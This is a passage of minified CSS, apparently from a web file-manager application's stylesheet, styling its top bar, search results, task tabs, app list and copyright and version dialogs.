\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple 